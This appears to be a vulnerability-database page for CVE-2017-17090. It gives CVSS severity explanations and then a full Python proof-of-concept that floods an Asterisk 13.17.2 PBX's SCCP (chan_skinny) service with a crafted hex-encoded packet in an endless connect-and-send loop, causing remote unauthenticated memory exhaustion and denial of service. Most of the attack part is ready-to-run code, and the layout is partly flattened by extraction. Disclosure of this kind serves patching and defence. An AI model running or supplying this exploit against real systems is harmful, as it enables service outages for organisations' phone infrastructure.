The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Asterisk 13.17.2 chan_skinny Remote Memory Corruption
# Exploit Author: Juan Sacco <[email protected]> - http://exploitpack.com
# Vulnerability found using Exploit Pack v10 - Fuzzer module
# CVE-2017-17090 - AST-2017-013
#
# Tested on: Asterisk 13.17.2~dfsg-2
#
# Description: Asterisk is prone to a remote unauthenticated memory exhaustion
# The vulnerability is due to an error when the vulnerable application
# handles crafted SCCP packet. A remote attacker may be able to exploit
# this to cause a denial of service condition on the affected system.
#
# [Nov 29 15:38:06] ERROR[7763] tcptls.c: TCP/TLS unable to launch
# helper thread: Cannot allocate memory
#
# Program: Asterisk is an Open Source PBX and telephony toolkit. It is, in a
# sense, middleware between Internet and telephony channels on the bottom,
# and Internet and telephony applications at the top.
#
# Homepage: http://www.asterisk.org/
# Filename: pool/main/a/asterisk/asterisk_13.17.2~dfsg-2_i386.deb
#
# Example usage: python asteriskSCCP.py 192.168.1.1 2000
import binascii
import sys
import socket
import time
def asteriskSCCP(target,port):
try:
while 1:
# Open socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Set reuse ON
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# Bind port
s.connect((target, port))
print("[" + time.strftime('%a %H:%M:%S') + "]" + " - " + "Connected to:"), target, port
print("[" + time.strftime('%a %H:%M:%S') + "]" + " - " + "Establishing connection.. ")
packet =
binascii.unhexlify(b'450002c50001000040067a307f0000017f000001001407d00000000000000000500220009a2b0000e4eea8a72a97467d3631824ac1c08c604e762eb80af46cc6d219a4cf65c13992b4a8af94cb5e87c14faf0254cba25af9fb33bd8d2a58e370e3a866639dfdec350875cfecfe068a16746963fffeee0fdcbac75eb4f09d625f3ae1b4a3eb2812e6f838e88b0d7d9881465a0faf45664df8008d4d6de1a5e20a9c97a71f57d3429e0b17db3aeb3bf516ca4e207a5c801d04132979508f267c7425a57fd0edd271b57ff9831b595b519e73404f170492ae3ad438d4aeca854e96c9dd56d2af3813b8de6b3d8d31d32c0e95be9cb3a5c6106f64c4f19cda2b55ad1471f3d63e1b1ca3c29f362def063ad9b29ea4d1c1fda5c2e4cf0ae75064c27411a2deb5fab11e6412cd5a4037f38779f0173fa1f2ca1740aa78fe37bc0a50f5619c7abba00f2957bf06770ff4d6c003d4533de19f51bcbbd9bbe0ceb3e17dd180e58ee2698998edca42e3d6a8079cc151b608e5bd5aff052e718e714b360f9b091894a5eeed34dafe41d27f19988b3e0ac5a6dd8947c3537ae31154e983cdbac0861afc500206e74030c9e452738ece13075df2dbebb8a1737ee3b4880bc6d428ee2d3d64f585e197dc63f30638a4c55cff0b8e6aa82dfdf199baabd92c10092414015fad5f08e9c816a4d028574ee5340c08b2fe65ca1e7ca907ea2ebd6661e01e9b9d39d5bdb3e3cebd58e96f97f487bb580bcf5447ac48a2ad5541ae0ddcc9ec1f9528f2c07316dbd760e91e3bddbd53fbf6987fdba0830bdb485524950b5611e18e5d517c0f3ae05aa2daec42a5c43eab07aa0018ab750dc6995adad6561cc8a0379f7a12d8e5e474df013459442801d6871c5820318d790833687619b70b0da74893ca441f177ab9e7d7a537c6ff4920c79631905c35167d8a6efc0c6bced9270691abc5b4de84f956f8c1d34f9ef3f0073dafce8c076c4d537e981a1e8ff6ed3e8c')
# Log the packet in hexa and timestamp
fileLog = target + ".log"
logPacket = open(fileLog, "w+")
logPacket.write("["+time.strftime('%a %H:%M:%S')+"]"+ " - Packet sent: " + binascii.hexlify(bytes(packet))+"\n")
logPacket.close()
# Write bytecodes to socket
print("["+time.strftime('%a %H:%M:%S')+"]"+" - "+"Packet sent: ")
s.send(bytes(packet))
# Packet sent:
print(bytes(packet))
try:
data = s.recv(4096)
print("[" + time.strftime('%a %H:%M:%S') + "]" + " - "+ "Data received: '{msg}'".format(msg=data))
except socket.error, e:
print 'Sorry, No data available'
continue
s.close()
except socket.error as error:
print error
print "Sorry, something went wrong!"
def howtouse():
print "Usage: AsteriskSCCP.py Hostname Port"
print "[*] Mandatory arguments:"
print "[-] Specify a hostname / port"
sys.exit(-1)
if __name__ == "__main__":
try:
# Set target
target = sys.argv[1]
port = int(sys.argv[2])
print "[*] Asterisk 13.17 Exploit by Juan Sacco <[email protected] "
asteriskSCCP(target, port)
except IndexError:
howtouse()
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